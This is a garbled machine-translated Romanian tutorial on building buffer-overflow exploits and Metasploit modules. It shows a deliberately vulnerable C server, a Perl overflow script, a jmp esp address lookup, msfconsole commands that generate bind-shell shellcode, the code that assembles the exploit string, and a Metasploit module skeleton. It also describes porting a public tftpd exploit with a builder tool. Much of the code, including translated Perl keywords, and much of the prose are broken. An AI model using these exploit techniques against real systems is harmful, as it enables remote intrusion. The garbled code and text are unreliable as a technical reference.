Fabrica sploitov învăța să scrie exploituri pentru cadru Metasploit

Unde sunt sploitov? V-ați gândit la știri cum plictisitoare de la
BugTraq este transformat într-un lockpick de lucru? Ce zici de două duzini






linii de cod se poate obține un shell pe un server de la distanță? Astăzi vă vom vizita
fabrica sploitov si toate detaliile arata ca voi
un produs de calitate.

Sploit - Ce fel de animal
atat de bizara? De fapt, acest program este scris în scopul utilizării
vulnerabilități - sistem de operare, programul obișnuit sau aplicație web. S-ar putea
de la sine ceva - program de exemplu în C / C ++ (Delphi, Asm), skriptik în Perl sau PHP,
sau chiar să fie în imagine, dar cel mai important lucru este că aceasta afectează vulnerabile
sistem și de a face să funcționeze așa cum este programat. îndepărtat
exploata lucrări pe o rețea și exploatează vulnerabilitatea fără nici un fel
accesul înainte de sistemul vulnerabil. sploitov locală aceeași cursă
în mod direct la un sistem afectat, care necesită acces înainte și
utilizate în mod obișnuit pentru escaladarea privilegiu.

Sploitov pot fi împărțite în funcție de tipul utilizat de vulnerabilitate: buffer overflow,
SQL injecție, cross-site scripting, etc. Pe scurt, specia este
multe și fiecare dintre ele este diferit ca tehnica de executare, precum și scopul acesteia. dar
au în ele un lucru în comun - toate conțin un cod care efectuează hacker conceput
acțiuni. Acest cod se numește: bytecode, cod shell (ca de foarte multe ori acest cod
Prin Shelley oferă acces la sistemul de la distanta), utilitate (luptă) sarcină
(Payload). Scrierea un astfel de cod - o artă. Dacă doriți să înțeleagă
acest domeniu, vă sugerez să înceapă cu articolul Step'a „Cum
luate shellcode. „Ne uităm la procesul de scriere a unei exploata și shellcode
să ia un pachet gata făcute din Metasploit.

Scrierea sacrificiu pentru experimente

Sunt convins că nu există nici o modalitate mai vizibilă pentru a demonstra crearea de luptă
cod decât un exemplu specific. Să începem cu jocul în munte-programatori
navayal aplicație server mic, lăsându-l într-o vulnerabilitate critică,
care va fi operat. Aplicația va accepta conexiuni pe
portul special, de îndată ce unele pachet va fi numit funcție,
efectuează o acțiune cu datele obținute și aplicarea
finalizat. aplicație schelet este prezentată mai jos:

void pr (char * str)
char buf [500] = "";
strcpy (buf, str); // aici este vulnerabilitatea, în persoană
>

int main (int argc, char ** argv)
.
int bytesRecv = SOCKET_ERROR;
în timp ce (bytesRecv == SOCKET_ERROR)
// a obține datele transmise de către client
bytesRecv = recv (clientSocket, Mesaj, 5000, 0);

if (bytesRecv == 0 || bytesRecv == WSAECONNRESET)
printf ( "\ nConnection Închis \ n.");
pauză;
>
>

pr (Mesaj); // apelați funcția pe care nu verifică dacă lungimea tampon de intrare
copiere

closesocket (clientSocket);
closesocket (serverSocket);
WSACleanup ();
return 0;
>

Privind cu atenție codul, puteți vedea că pr funcția void (char * str) nu
verifică lungimea tampon de intrare, și în cazul în care ca parametru linia
mai mult de 500 de caractere - pentru a obține un buffer overflow clasic. toate
pe scurt despre modul în care funcționează (nu va trebui să-și amintească modul în care stiva):

PUSH EDI // pune indicatorul stivă la buffer-ul care va fi copiat
(* Str)
APEL Server._pr // numesc PF funcție

Dupa apelul stiva CALL va arăta astfel:

Sub BUF variabilă am alocat 500 de octeți. Și ce se întâmplă dacă copiați
la string mai mult?

Ucide pe loc!

Serverul funcționează fără probleme, atâta timp cât el nu are un șir format din mai multe
peste 500 de caractere. În caz contrar - crash cu siguranță aplicația. schița
skriptik mici pe perl pentru operarea unui buffer overflow:

utilizați stricte;
utilizați Socket;
mi $ nedorită = "\ X41" x1000;

# Se efectuează legarea
mi $ iaddr = inet_aton ($ gazdă);
mi $ paddr = sockaddr_in (port $, $ iaddr);

imprimare "[+] Configurarea soclu \ n";
# Creați o priză și să se alăture portul
soclu (SOCKET, PF_INET, SOCK_STREAM, $ proto) sau mori "soclu: $!";
imprimare "[+] Conectarea la $ gazdă pe portul $ portul \ n";
conectați (SOCKET, $ paddr) sau mori "conectați: $!";

print "[+] Trimiterea unei sarcini utile \ n";
imprimare SOCKET $ nedorită "\ n" .;

Print "[+] Payload trimis \ n";

SOCKET aproape sau mori "aproape: $!";

Noi folosim Metasploit pentru a dezvolta exploata

Și în scenariu înlocui valoarea $ vechiturile variabila pe cele de mai sus
secvență. Re-lansarea pe serverul nostru vulnerabil, conectați-l în
OllyDbg și a alerga exploit. Server se blochează din nou. Ei bine, hai să aruncăm o privire la faptul că
De data aceasta sa dovedit a PEI înregistra? PEI = 41387141. Pentru a determina diferența
caractere într-un șir de caractere, utilizați un alt utilitar din Metasploit -
pattern_offset, trecând în parametrii necesari, mărimea și lungimea tamponului:

Și să înlocuiască linia de cod care trimite șirul generat la priza, la:

imprimare SOCKET $ nedorită $ eipoverwrite $ junk2 "\ n" ...;

0040130B: CALL 00404351

[Buf] [ebp] [ret] [frame stack precedent]

presa (Du-te la următoarea instrucțiune) și notați schimbările în stivă:

[Buf] [ebp] [ret] [frame stack precedent]
[AAAAAAAA] [BBB] [CCCCCCCC ...]

Acum, să ne uităm la funcțiile de sfârșitul PF:







00401313 POP EDI
00401314 POP ESI
00401315 CONCEDIU
00401316 RETN

Când apelați comanda CONCEDIUL, se întâmplă următoarele:

Findjmp2.exe ws2_32.dll esp
ws2_32.dll de scanare pentru codul utilizabila cu registrul ESP
0x71AB9372 împinge ESP - ret
A terminat ws2_32.dll Scanarea pentru codul utilizabila cu registrul ESP
Au fost gasite 1 adrese utilizabile

Rămâne doar pentru a crea shellcode. Așa cum am spus, să fie prezentate sploitov
o cerință importantă - nu trebuie să conțină octeți nuli. programul
șir de copiat, și în cazul în care pentru a satisface „0“, acesta va fi interpretat ca capătul liniei.
Prin urmare, restul liniei nu este copiat, iar codul shell incomplet,
desigur, nu va funcționa. În crearea shellcode, vom din nou
interfață Metasploit și consola pentru cadru de management. Deci, executați
Instrumente de console / msfconsole și introduceți următoarele:

MSFs> utilizați Windows / shell_bind_tcp // va folosi această sarcină utilă
MSFs payload (shell_bind_tcp)> Set LPORT 5555 // setați valoarea port
mașină de la distanță
LPORT => 5555

Cu comanda „genera -h“ uite la opțiunile pe care le puteți specifica pentru
genera shellcode:

  • -b - o listă de caractere care ar trebui să fie excluse din shellcode;
  • -f - numele fișierului în care este stocat codul de coajă;
  • -T - tipul de shellcode: rubin, perl, c, sau brut.

Subliniază faptul că este necesar să se evite octet „\ x00 \ xff“, de a genera codul pentru și Perl'a
salvați rezultatele în c: \\ shellcode.bin:

payload MSFs (shell_bind_tcp)> genera -b '\ x00 \ xff' -f c: \\ shellcode.bin
-t perl
[*] Scriere 1747 octeți c: \ shellcode.bin.

Acum, având codul de coajă, este timpul pentru a colecta complet
exploata. Singurul lucru pe care - trebuie să vă amintiți câteva lucruri:

string trimis la server va fi configurat după cum urmează:

În cele din urmă șir trimis la priza:

// și trimite șir veninos la server
imprimare SOCKET $ nedorită $ eipoverwrite $ shellcode "\ n" ...;

Apoi sploite încearcă să stabilească o conexiune cu o mașină de la distanță la
5555 port, pe care am arătat la generarea shellcode:

sistem ( "telnet $ gazdă 5555");

Exploit la Metasploit

Deci, ne-am sploit pentru o platformă specifică cu un bine definit
încărcare, deschiderea din sistemul shell. Deci, de ce face orice
platformă specială pentru crearea sploitov dacă suntem destul de forțele de cost
singur Perl? Motivul este că Metasploit oferă o bogăție
numărul de bucăți, diverse implementări ale protocoalelor, una dintre cele mai mari baze de date
Codul de coajă, sarcină utilă de care le puteți utiliza atunci când scrieți propriul dvs. care s
exploata. În schimb script perl mizerabil puteți scrie un modul pentru Metasploit,
și apoi rula pe orice platformă și sarcină utilă alege pe gustul tau!
Ai auzit diferența? Propun acum pentru a îmbunătăți rescriere noastre sploit
l la Metasploit, și a vedea cum funcționează. Desigur, aceasta va fi
au capacitatea de a selecta o platformă pentru a ataca, și puteți alege peyload
drept în timpul executării atacului.

Sploitov orice funcționalitate este descrisă utilizând o clasă în cazul în care acesta
Setările sunt setate folosind parametrii și funcționalitatea - cu ajutorul metodelor.
Creat obiect este moștenit de la una din clasele predefinite. ca
vom crea un sploit la distanță, atunci obiectul nostru preia de la clasa părinte
"Remote exploata." Sintaxa Ruby se face după cum urmează:

clasa Metasploit3

mare merit Metasploit este că unifică un număr mare de
parametrii și acțiuni, care să permită utilizarea de modele gata făcute peste si peste din nou.
Primul element al clasei dezvoltate - secțiunea includ, în cazul în care ne conectam
handler pentru protocolul dorit noi. Metasploit are stivuitoare pentru http,
FTP și alte protocoale care o face mai ușor de a scrie exploateaza, nu
deranjat cu propria lor implementare. Nostru exploata utilizări
TCP-conexiune, astfel încât codul va fi după cum urmează:

Apoi, întregul sploit împărțit în două metode: metoda de inițializare, în care noi
specificați informațiile necesare pentru executarea cu succes a exploit, și metoda
operațiune, pe care le trimite la rândul otrăvitor de server.

Să începem cu initializare. Parametrul specifică lungimea tampon toxice Payload și
Caractere nevalide (în cazul nostru - 0x00 și 0xFF):

'Payload' =>
'Space' => 1400
'BadChars' => "\ x00 \ xff",
>

def exploata
lega

nedorită = make_nops (target [ 'Offset'])
sploit = ​​nedorită + [target.ret] .pack ( 'V') + make_nops (50) + payload.encoded
sock.put (sploit)

manipulant
deconecta
capăt

Asta este pentru primul nostru modul Metasploit este gata! Asta poate fi
de a utiliza, copiați codul sursă în module / exploituri / folder de test (dacă nu vă place
testare - pot fi copiate la ferestre / misc, de exemplu). Run și msfconsole
lucrează într-o Metasploit'a consolă interactivă!

Exploit în 5 minute

După cum puteți vedea, pentru a dezvolta o exploateze pentru Metasplot nu atât de dificil. cu atât mai mult
dimpotrivă, pentru că cea mai mare parte munca este deja făcut pentru tine. Ia cel puțin imens
Codul de coajă de bază - să încerce să dezvolte propria. Dar lenea este nici o limită la om,
astfel încât într-un efort de a simplifica și mai mult procesul a fost elaborat pachetul de utilități
Ai MSF Exploatează Builder. Programul are o interfață grafică ușor de utilizat și
Aceasta ajută într-adevăr a crea rapid un nou modul pentru Metasploit. cu excepția
GUI prietenos, Exploatează Builder include o mulțime de instrumente utile,
necesare pentru testare si depanare exploateaza. Mai mult decât atât - poate din nou
creat de la zero, și portul sploitov existente.

Propun să ia orice exploata și de a folosi MSF Builder Exploatează
transforma-l în Metasploit-modul. Ați putea întreba, de ce este necesar pentru noi? Din nou:
transformându-l în Metasploit-modul, putem folosi în combinație cu diverse
payload-uri. Pur și simplu pune, aceasta va face mai versatil și
cross-platform. Acum sunteți am convins modul în care acest program poate
pentru a face viața mai ușoară - acum nu trebuie să scrie și depana exploit chiar
cunoașterea Ruby și API Metasploit. În ceea ce privește experimentul iepure, am ales
primul lucru care a venit peste - sploit pentru tftpdwin 0,42 (milw0rm.com/exploits/7452).

Așa că am ales tftpd.exe nostru, după care programul va oferi următoarele:
de a alege pentru a porni aplicația, rulați-l sub un depanator sau nu pentru a rula
în general - pur și simplu rulați aplicația. Observați că partea dreaptă
afișează o listă de aplicații descărcate DDL'ek.

mi $ pachet = (($ p1) ($ nopsled) ($ shellcode) (($ supraplin)) ($ ret) ($ p2) .....);

De fapt, acum avem totul pentru a crea sploitov finit. prin urmare
click pe butonul „Generate“ și admira codul rezultat sploitov. dacă
unele puncte sunt discutabile, atunci puteți modifica codul manual.
Faimoasa, este posibil să se testeze funcționalitatea codului dintr-o dată - este sigur pentru a
faceți clic pe butonul „Test“. Și - funcționează! 5 minute care au mers la
Introducere în program, și fără nici o cunoaștere a modului în care limba și structura Ruby
Metasploit, am creat un sploit complet de lucru. Merită! ca
temele, încercați să utilizați MSF Exploatează Builder pentru a crea o exploateze
serverul nostru :).

concluzie

Acesta a terminat turul nostru exploateaza fabrica. Să știe cum să construiască
sploitov, util în multe feluri. A nu fi capabil de a citi shellcode în aer liber
exploata, sau, în general, începând cu exe'shnik ciudat, nu este întotdeauna posibil
încredere în creatorul său. Multe sploitov disponibile în lipsă public
piese și erori special abandonate - se va opri cu siguranță armata
skriptkidis, dar este puțin probabil să fie o problemă serioasă pentru înțelegerea omului.
Sper că v-am convins astăzi că nu există nimic ireal în sploitov: deoarece
Hackerii oameni - :) logic și ușor de înțeles.

Informații detaliate despre API-ul Metasploit:

Blog Metasploit cadru: